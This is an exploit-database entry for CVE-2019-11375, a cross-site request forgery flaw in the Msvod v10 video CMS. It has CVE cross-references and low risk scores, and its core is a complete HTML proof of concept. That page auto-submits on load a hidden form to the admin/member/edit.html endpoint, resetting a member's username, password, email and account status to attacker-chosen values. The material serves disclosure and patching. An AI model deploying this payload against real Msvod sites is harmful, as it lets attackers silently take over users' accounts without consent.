Msvod 10 - Cross-Site Request Forgery (Change User Information) Exploit

🗓️ 22 Apr 2019 00:00:00Reported by ax8Type

zdt🔗 0day.today👁 50 Views

Msvod v10 CSRF vulnerability to change user informatio

Reporter	Title	Published	Views	Family All 10
CVE	CVE-2019-11375	20 Apr 201914:35	–	cve
Cvelist	CVE-2019-11375	20 Apr 201914:35	–	cvelist
Exploit DB	Msvod 10 - Cross-Site Request Forgery (Change User Information)	22 Apr 201900:00	–	exploitdb
EUVD	EUVD-2019-3053	7 Oct 202500:30	–	euvd
exploitpack	Msvod 10 - Cross-Site Request Forgery (Change User Information)	22 Apr 201900:00	–	exploitpack
NVD	CVE-2019-11375	20 Apr 201915:29	–	nvd
OSV	CVE-2019-11375	20 Apr 201915:29	–	osv
Packet Storm	Msvod 10 Cross Site Request Forgery	23 Apr 201900:00	–	packetstorm
Prion	Design/Logic Flaw	20 Apr 201915:29	–	prion
RedhatCVE	CVE-2019-11375	9 Jan 202610:11	–	redhatcve

# Exploit Title: Msvod v10 has a CSRF vulnerability to change user information
# Exploit Author: ax8
# Vendor Homepage: https://github.com/Li-Siyuan
# Software Link: https://www.msvodx.com/
# Version: v10
# CVE : CVE-2019-11375

 

Msvod v10 has a CSRF vulnerability to change user information via the admin/member/edit.html URI.

 

<!--poc.html(change user infomation)-->

<!DOCTYPE html>

<html>

  <head>

  <title> CSRF Proof</title>

  <script type="text/javascript">

    function exec1(){

      document.getElementById('form1').submit();

    }

  </script>

  </head>

  <body onload="exec1();">

    <form id="form1" action="http://a.msvodx.cn/admin/member/edit.html" method="POST">

      <input type="hidden" name="username" value="hacker1" />

  <input type="hidden" name="nickname" value="hacker1" />

  <input type="hidden" name="email" value="hacker1" />

  <input type="hidden" name="tel" value="hacker1" />

      <input type="hidden" name="password" value="hacker1" />

      <input type="hidden" name="out_time" value="1970-01-01" />  

  <input type="hidden" name="money" value="30" />

  <input type="hidden" name="is_permanent" value="0" />

  <input type="hidden" name="status" value="1" />

  <input type="hidden" name="id" value="821" />

    </form>

  </body>

</html>

MISC:http://www.iwantacve.cn/index.php/archives/198/

#  0day.today [2019-04-24]  #

22 Apr 2019 00:00Current

0.1Low risk

Vulners AI Score0.1

EPSS0.00273